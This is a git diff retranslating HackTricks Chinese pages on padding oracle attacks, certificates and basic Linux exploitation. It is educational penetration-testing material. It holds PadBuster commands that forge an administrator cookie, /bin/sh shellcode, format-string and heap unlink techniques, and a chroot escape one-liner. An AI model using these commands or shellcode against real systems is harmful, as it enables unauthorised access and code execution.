从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/crypto-and-stego/padding-oracle-priv.md b/crypto-and-stego/padding-oracle-priv.md
index 82283012d..dab3c3743 100644
--- a/crypto-and-stego/padding-oracle-priv.md
+++ b/crypto-and-stego/padding-oracle-priv.md
@@ -1,37 +1,38 @@
-# 填充 Oracle
+# Padding Oracle
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
## CBC - 密码块链接
-在 CBC 模式中，**前一个加密块被用作 IV** 与下一个块进行 XOR 运算：
+在 CBC 模式下，**前一个加密块用作 IV**，与下一个块进行异或操作：
-要解密 CBC，需要执行**相反的操作**：
+要解密 CBC，需进行**相反的** **操作**：
-需要使用**加密密钥**和**IV**来解密 CBC。
+注意需要使用**加密** **密钥**和**IV**。
## 消息填充
-由于加密是以**固定大小的块**进行的，通常需要在**最后一个块**中进行填充以完成其长度。\
-通常使用 **PKCS7**，它生成一个填充，**重复**所需的**字节数**以**完成**块。例如，如果最后一个块缺少 3 个字节，填充将是 `\x03\x03\x03`。
+由于加密是在**固定** **大小** **块**中进行的，通常需要在**最后** **块**中进行**填充**以完成其长度。\
+通常使用**PKCS7**，它生成的填充**重复**所需的**字节** **数**以**完成**块。例如，如果最后一个块缺少 3 个字节，填充将是 `\x03\x03\x03`。
-让我们看看一个**长度为 8 字节的 2 个块**的更多示例：
+让我们看一些**长度为 8 字节的 2 个块**的更多示例：
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@@ -40,43 +41,43 @@
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
-请注意，在最后一个示例中，**最后一个块已满，因此另一个仅包含填充的块被生成**。
+注意在最后一个示例中，**最后一个块是满的，因此只生成了一个填充块**。
-## 填充 Oracle
+## Padding Oracle
-当应用程序解密加密数据时，它将首先解密数据；然后将删除填充。在清除填充时，如果**无效的填充触发可检测的行为**，则存在**填充 Oracle 漏洞**。可检测的行为可以是**错误**、**缺少结果**或**响应较慢**。
+当应用程序解密加密数据时，它会首先解密数据；然后会移除填充。在清理填充的过程中，如果**无效填充触发可检测的行为**，则存在**填充 oracle 漏洞**。可检测的行为可以是**错误**、**缺少结果**或**响应变慢**。
-如果检测到这种行为，您可以**解密加密数据**甚至**加密任何明文**。
+如果你检测到这种行为，你可以**解密加密数据**，甚至**加密任何明文**。
### 如何利用
-您可以使用 [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) 来利用这种漏洞，或者只需执行
+你可以使用 [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) 来利用这种漏洞，或者直接进行
```
sudo apt-get install padbuster
```
-为了测试一个网站的 cookie 是否存在漏洞，你可以尝试：
+为了测试一个网站的cookie是否存在漏洞，你可以尝试：
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
-**编码 0** 意味着使用 **base64**（但其他选项也可用，请查看帮助菜单）。
+**编码 0** 意味着使用 **base64**（但还有其他可用的，查看帮助菜单）。
-您还可以**滥用此漏洞来加密新数据。例如，假设 cookie 的内容是 "**_**user=MyUsername**_**"，然后您可以将其更改为 "\_user=administrator\_" 并在应用程序内提升权限。您也可以使用 `paduster` 并指定 `-plaintext**` 参数来执行此操作：
+您还可以 **利用此漏洞加密新数据。例如，想象一下 cookie 的内容是 "**_**user=MyUsername**_**"，然后您可以将其更改为 "\_user=administrator\_"，并在应用程序中提升权限。您还可以使用 `paduster` 指定 -plaintext** 参数来实现这一点：
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
-如果网站存在漏洞，`padbuster`将自动尝试找到填充错误发生的位置，但您也可以使用**-error**参数指定错误消息。
+如果网站存在漏洞，`padbuster`将自动尝试找出何时发生填充错误，但您也可以使用**-error**参数指示错误消息。
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
### 理论
-**总结**一下，您可以通过猜测可以用来创建所有**不同填充**的正确值来开始解密加密数据。然后，填充预言攻击将从末尾开始解密字节，猜测哪个值将是**创建填充为1、2、3等的正确值**。
+**总结**，你可以通过猜测可以用来创建所有**不同填充**的正确值来开始解密加密数据。然后，填充oracle攻击将开始从末尾到开头解密字节，猜测哪个将是**创建1、2、3等填充的正确值**。
.png>)
-假设您有一些加密文本，占据了由**E0到E15**字节组成的**2个块**。\
-为了解密**最后一个**块（**E8**到**E15**），整个块通过“块密码解密”生成**中间字节I0到I15**。\
-最后，每个中间字节都与先前加密的字节（E0到E7）进行**XOR运算**。因此：
+想象一下你有一些加密文本，占据**2个块**，由**E0到E15**的字节组成。\
+为了**解密**最后一个**块**（**E8**到**E15**），整个块通过“块密码解密”，生成**中间字节I0到I15**。\
+最后，每个中间字节与之前的加密字节（E0到E7）进行**异或**运算。所以：
* `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6`
@@ -86,39 +87,40 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
现在，可以**修改`E7`直到`C15`为`0x01`**，这也将是一个正确的填充。因此，在这种情况下：`\x01 = I15 ^ E'7`
-因此，找到E'7，就**可以计算I15**：`I15 = 0x01 ^ E'7`
+因此，找到E'7后，可以**计算I15**：`I15 = 0x01 ^ E'7`
这使我们能够**计算C15**：`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
-知道**C15**，现在可以**计算C14**，但这次是通过暴力破解填充`\x02\x02`。
+知道**C15**后，现在可以**计算C14**，但这次是暴力破解填充`\x02\x02`。
-这个BF与前一个一样复杂，因为可以计算出值为0x02的`E''15`：`E''7 = \x02 ^ I15`，所以只需要找到生成**`C14`等于`0x02`**的**`E'14`**。\
-然后，执行相同的步骤来解密C14：**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
+这个暴力破解与之前的复杂，因为可以计算出`E''15`的值为0x02：`E''7 = \x02 ^ I15`，所以只需要找到生成**`C14`等于`0x02`的**`E'14`。\
+然后，重复相同的步骤解密C14：**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
-**按照这个链条解密整个加密文本。**
+**沿着这条链，直到你解密整个加密文本。**
-### 漏洞的检测
+### 漏洞检测
-注册一个帐户并使用该帐户登录。\
-如果您**多次登录**并始终获得**相同的cookie**，则应用程序可能存在**问题**。每次登录时发送回的cookie应该是**唯一的**。如果cookie**始终**是**相同的**，那么它可能始终有效，**无法使其失效**。
+注册一个账户并使用该账户登录。\
+如果你**多次登录**并且总是获得**相同的cookie**，那么应用程序可能存在**问题**。每次登录时**返回的cookie应该是唯一的**。如果cookie**总是**相同的，它可能总是有效，并且没有办法使其失效。
-现在，如果您尝试**修改**cookie，您会看到应用程序返回一个**错误**。\
-但是，如果您使用填充预言（例如使用padbuster）进行BF，您可以获得另一个适用于不同用户的有效cookie。这种情况很可能容易受到填充预言攻击的影响。
+现在，如果你尝试**修改**该**cookie**，你会看到应用程序返回一个**错误**。\
+但是如果你暴力破解填充（例如使用padbuster），你可以获得另一个有效的cookie，适用于不同的用户。这个场景很可能对padbuster存在漏洞。
-### 参考资料
+### 参考文献
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
+{% hint style="success" %}
+学习与实践AWS黑客技术：从零开始学习 AWS 黑客技术，成为专家 htARTE（HackTricks AWS 红队专家）！
+支持 HackTricks
-支持 HackTricks 的其他方式： - -* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。 -* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践GCP黑客技术：[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/cryptography/certificates.md b/cryptography/certificates.md
index 02e2cf02f..99c442e8b 100644
--- a/cryptography/certificates.md
+++ b/cryptography/certificates.md
@@ -1,58 +1,59 @@
# 证书
+{% hint style="success" %}
+学习和实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+支持HackTricks
-支持HackTricks的其他方式： - -* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家NFT的收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。 -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass)或**关注**我们在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md
index 631c33190..a9bff5087 100644
--- a/exploiting/linux-exploiting-basic-esp/README.md
+++ b/exploiting/linux-exploiting-basic-esp/README.md
@@ -1,37 +1,38 @@
# Linux Exploiting (Basic) (SPA)
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
## **2.SHELLCODE**
-View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
+查看内核中断：cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
-xor eax, eax ; clear eax\
-xor ebx, ebx ; ebx = 0 as there are no arguments to pass\
+xor eax, eax ; 清空 eax\
+xor ebx, ebx ; ebx = 0 因为没有参数要传\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
-int 0x80 ; Execute syscall
+int 0x80 ; 执行系统调用
-**nasm -f elf assembly.asm** —> Returns a .o file\
-**ld assembly.o -o shellcodeout** —> Generates an executable with the assembly code and we can extract the opcodes with **objdump**\
-**objdump -d -Mintel ./shellcodeout** —> To verify that it is indeed our shellcode and extract the OpCodes
+**nasm -f elf assembly.asm** —> 返回一个 .o 文件\
+**ld assembly.o -o shellcodeout** —> 生成一个由汇编代码组成的可执行文件，可以用 **objdump** 提取操作码\
+**objdump -d -Mintel ./shellcodeout** —> 查看确实是我们的 shellcode 并提取 OpCodes
-**Verify that the shellcode works**
+**检查 shellcode 是否有效**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
@@ -41,11 +42,11 @@ fp = (void *)shellcode;
fp();
}
```
-为了确保系统调用被正确执行，应编译前一个程序并在**strace ./COMPILADO_程序**中查看系统调用。
+为了查看系统调用是否正确执行，必须编译上述程序，系统调用应出现在 **strace ./PROGRAMA\_COMPILADO**
-在创建shellcode时，可以使用一个技巧。第一条指令是跳转到一个调用。该调用会调用原始代码，并将EIP放入堆栈。在call指令之后，我们已经放入了所需的字符串，因此可以使用该EIP指向字符串，并继续执行代码。
+在创建 shellcodes 时，可以使用一个技巧。第一条指令是跳转到一个调用。该调用会调用原始代码，并将 EIP 放入栈中。在调用指令之后，我们放入所需的字符串，因此通过这个 EIP，我们可以指向字符串并继续执行代码。
-例 **TRICK (/bin/sh)**:
+EJ **技巧 (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
@@ -65,7 +66,7 @@ int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar
```
-**使用堆栈(/bin/sh)的简单ESP：**
+**EJ 使用堆栈 (/bin/sh):**
```
section .text
global _start
@@ -93,13 +94,13 @@ fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
```
-**Egg Hunter:**
+**Egg Huter:**
-这是一小段代码，用于遍历与进程关联的内存页面，以寻找其中存储的shellcode（查找shellcode中的某个签名）。在只有少量空间用于注入代码的情况下非常有用。
+由一小段代码组成，该代码遍历与进程关联的内存页面，以寻找存储在其中的shellcode（查找shellcode中放置的某个签名）。在仅有小空间注入代码的情况下非常有用。
-**多态Shellcode**
+**Shellcodes polimórficos**
-这些是加密的shellcode，其中包含一小段代码用于解密并跳转到它，使用Call-Pop技巧，这是一个**凯撒加密的示例**：
+由加密的shell组成，包含一小段代码用于解密并跳转到它，使用Call-Pop技巧，这将是一个**ejemplo cifrado cesar**：
```
global _start
_start:
@@ -120,104 +121,88 @@ sc:
```
## **5.补充方法**
-
-
-
-
**Murat技术**
-在Linux中，所有程序都从0xbfffffff开始映射。
+在Linux中，所有程序的映射从0xbfffffff开始。
-通过查看Linux中新进程堆栈的构建方式，可以开发一种利用程序在仅包含shellcode变量的环境中启动的漏洞。因此，可以计算出其地址为：addr = 0xbfffffff - 4 - strlen(完整可执行文件名称) - strlen(shellcode)
+通过观察Linux中新进程的堆栈构建方式，可以开发出一种利用程序在仅有shellcode的环境中启动的漏洞。这个地址可以计算为：addr = 0xbfffffff - 4 - strlen(完整可执行文件名) - strlen(shellcode)
-这样就可以轻松地获得包含shellcode的环境变量的地址。
+这样就可以简单地获得包含shellcode的环境变量的地址。
-这是因为execle函数允许创建仅包含所需环境变量的环境。
+这得益于execle函数允许创建一个仅包含所需环境变量的环境。
-##
+### **格式字符串导致缓冲区溢出**
-###
-
-###
-
-###
-
-###
-
-### **格式化字符串到缓冲区溢出**
-
-**sprintf**将格式化字符串**移动到**变量中。因此，您可以滥用字符串的格式以导致将内容复制到的变量中发生缓冲区溢出。\
-例如，有效载荷`%.44xAAAA`将在变量中**写入44B+"AAAA"**，这可能会导致缓冲区溢出。
+**sprintf**将格式化字符串**移动到**一个**变量**中。因此，您可以滥用字符串的**格式**来导致**变量中的缓冲区溢出**。\
+例如，负载`%.44xAAAA`将**在变量中写入44B+"AAAA"**，这可能导致缓冲区溢出。
### **\_\_atexit结构**
{% hint style="danger" %}
-现在很少**利用此方法**。
+如今，利用这个非常**奇怪**。
{% endhint %}
-**`atexit()`**是一个函数，其参数是**其他函数**。这些**函数**将在执行**`exit()`**或**main**返回时执行。\
-如果可以**修改**其中任何一个**函数**的地址以指向shellcode，那么将**控制**该**进程**，但目前这更加复杂。\
-目前要执行的**函数地址**隐藏在几个结构后面，最终指向的地址不是函数地址，而是**使用XOR加密和随机密钥进行偏移**。因此，目前这种攻击向量**在x86和x64\_86上并不是很有用**。\
-**加密函数**是**`PTR_MANGLE`**。其他架构，如m68k、mips32、mips64、aarch64、arm、hppa等，**不实现**加密函数，因为它**返回**与输入相同的内容。因此，这些架构可以通过此向量受到攻击。
+**`atexit()`**是一个函数，**其他函数作为参数传递给它**。这些**函数**将在执行**`exit()`**或**main**的**返回**时被**执行**。\
+如果您可以**修改**这些**函数**的**地址**以指向shellcode，例如，您将**获得对**该**进程**的控制，但这目前更复杂。\
+目前，**要执行的函数的地址**被**隐藏**在多个结构后，最终指向的地址不是函数的地址，而是**用XOR加密**和用**随机密钥**进行位移。因此，目前这个攻击向量在x86和x64\_86上**不是很有用**。\
+**加密函数**是**`PTR_MANGLE`**。**其他架构**如m68k、mips32、mips64、aarch64、arm、hppa...**不实现加密**函数，因为它**返回与输入相同**。因此，这些架构可以通过这个向量进行攻击。
-### **setjmp()和longjmp()**
+### **setjmp() & longjmp()**
{% hint style="danger" %}
-现在很少**利用此方法**。
+如今，利用这个非常**奇怪**。
{% endhint %}
-**`Setjmp()`**允许**保存**上下文（寄存器）\
+**`setjmp()`**允许**保存**上下文（寄存器）\
**`longjmp()`**允许**恢复**上下文。\
-保存的寄存器有：`EBX、ESI、EDI、ESP、EIP、EBP`\
-问题在于EIP和ESP通过**`PTR_MANGLE`**函数传递，因此**易受攻击的架构与上述相同**。\
-它们对错误恢复或中断很有用。\
-但根据我所了解，其他寄存器没有受到保护，因此如果在被调用的函数内部存在`call ebx`、`call esi`或`call edi`，则可以接管控制。或者还可以修改EBP以修改ESP。
+**保存的寄存器**是：`EBX, ESI, EDI, ESP, EIP, EBP`\
+发生的情况是EIP和ESP通过**`PTR_MANGLE`**函数传递，因此**易受此攻击的架构与上述相同**。\
+它们对于错误恢复或中断很有用。\
+然而，从我所读到的，其他寄存器没有受到保护，**因此如果在被调用的函数内部有`call ebx`、`call esi`或`call edi`**，则可以控制。或者您也可以修改EBP以修改ESP。
**C++中的VTable和VPTR**
每个类都有一个**Vtable**，它是一个**指向方法的指针数组**。
-每个**类**的对象都有一个**VPtr**，它是指向其类数组的**指针**。VPtr是每个对象头的一部分，因此如果实现**VPtr**的**覆盖**，则可以将其**修改**为指向虚拟方法，以便执行函数时转到shellcode。
+每个**类**的对象都有一个**VPtr**，它是指向其类数组的**指针**。VPtr是每个对象的头部的一部分，因此如果成功**覆盖**了**VPtr**，则可以**修改**它以**指向**一个虚拟方法，从而执行一个函数将转到shellcode。
-## **预防措施和规避方法**
+## **预防措施和规避**
-###
+**Libsafe替换**
-**替换Libsafe**
-
-使用以下命令激活：LD\_PRELOAD=/lib/libsafe.so.2\
+通过以下方式激活：LD\_PRELOAD=/lib/libsafe.so.2\
或\
“/lib/libsave.so.2” > /etc/ld.so.preload
-通过安全函数拦截对某些不安全函数的调用。这不是标准化的（仅适用于x86，不适用于使用-fomit-frame-pointer编译，不适用于静态编译，不是所有易受攻击的函数都变得安全，LD\_PRELOAD在具有suid权限的二进制文件中无效）。
+拦截对某些不安全函数的调用，替换为其他安全函数。未标准化。（仅适用于x86，不适用于使用-fomit-frame-pointer的编译，不适用于静态编译，并非所有易受攻击的函数都变得安全，LD\_PRELOAD在suid二进制文件中无效）。
**ASCII装甲地址空间**
-将共享库加载到0x00000000至0x00ffffff，以便始终存在一个字节0x00。然而，这实际上几乎无法阻止任何攻击，尤其是在小端系统中。
+它的目的是将共享库加载到0x00000000到0x00ffffff之间，以确保始终有一个字节0x00。然而，这实际上几乎无法阻止任何攻击，尤其是在小端模式下。
**ret2plt**
-通过执行ROP，调用plt中的strcpy@plt函数，并指向GOT的条目，将要调用的函数（system()）的第一个字节复制过来。然后重复此过程，指向GOT+1，并复制system()的第二个字节... 最后调用保存在GOT中的地址，即system()。
+它的目的是执行ROP，以便调用strcpy@plt（来自plt）并指向GOT中的条目，并将要调用的函数的第一个字节复制到（system()）。接下来，做同样的事情，指向GOT+1并复制system()的第二个字节……最后调用保存在GOT中的地址，这将是system()。
-**使用chroot()创建牢笼**
+**使用chroot()的监狱**
debootstrap -arch=i386 hardy /home/user —> 在特定子目录下安装基本系统
-管理员可以通过执行以下操作来退出这些牢笼：mkdir foo; chroot foo; cd ..
+管理员可以通过以下方式退出这些监狱：mkdir foo; chroot foo; cd ..
**代码插桩**
-Valgrind —> 检查错误\
+Valgrind —> 查找错误\
Memcheck\
-RAD（Return Address Defender）\
+RAD（返回地址防御）\
Insure++
## **8 堆溢出：基本利用**
-**已分配块**
+**分配块**
prev\_size |\
-size | —Header\
+size | —头部\
\*mem | 数据
**空闲块**
@@ -225,140 +210,148 @@ size | —Header\
prev\_size |\
size |\
\*fd | 前向块指针\
-\*bk | 后向块指针 —Header\
+\*bk | 后向块指针 —头部\
\*mem | 数据
-空闲块以双向链表（bin）的形式存在，永远不会有两个相邻的空闲块（它们会合并）。
+空闲块在一个双向链表（bin）中，且永远不会有两个空闲块相邻（会合并）。
-在“size”中有一些位用于指示：前一个块是否正在使用，块是否通过mmap()分配，块是否属于主要的arena。
+在“size”中有位表示：如果前一个块正在使用，如果块是通过mmap()分配的，以及块是否属于主arena。
-释放块时，如果相邻块中有任何一个是空闲的，则通过unlink()宏将它们合并，并将最大的新块传递给frontlink()以将其插入到适当的bin中。
+如果在释放一个块时，任何相邻的块是空闲的，这些块将通过unlink()宏合并，并将新的更大的块传递给frontlink()以插入适当的bin。
unlink(){\
BK = P->bk; —> 新块的BK是之前空闲块的BK\
FD = P->fd; —> 新块的FD是之前空闲块的FD\
FD->bk = BK; —> 下一个块的BK指向新块\
-BK->fd = FD; —> 前一个块的FD指向新块\
+BK->fd = FD; —> 上一个块的FD指向新块\
}
-因此，如果成功修改了P->bk为shellcode的地址，并将P->fd修改为GOT或DTORS中条目的地址减去12，就可以实现：
+因此，如果我们能够将P->bk修改为shellcode的地址，并将P->fd修改为GOT或DTORS中的一个条目减去12，则可以实现：
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
-这样在程序退出时将执行shellcode。
+这样在程序退出时就会执行shellcode。
-此外，unlink()的第四条语句会写入一些内容，因此shellcode必须进行修复：
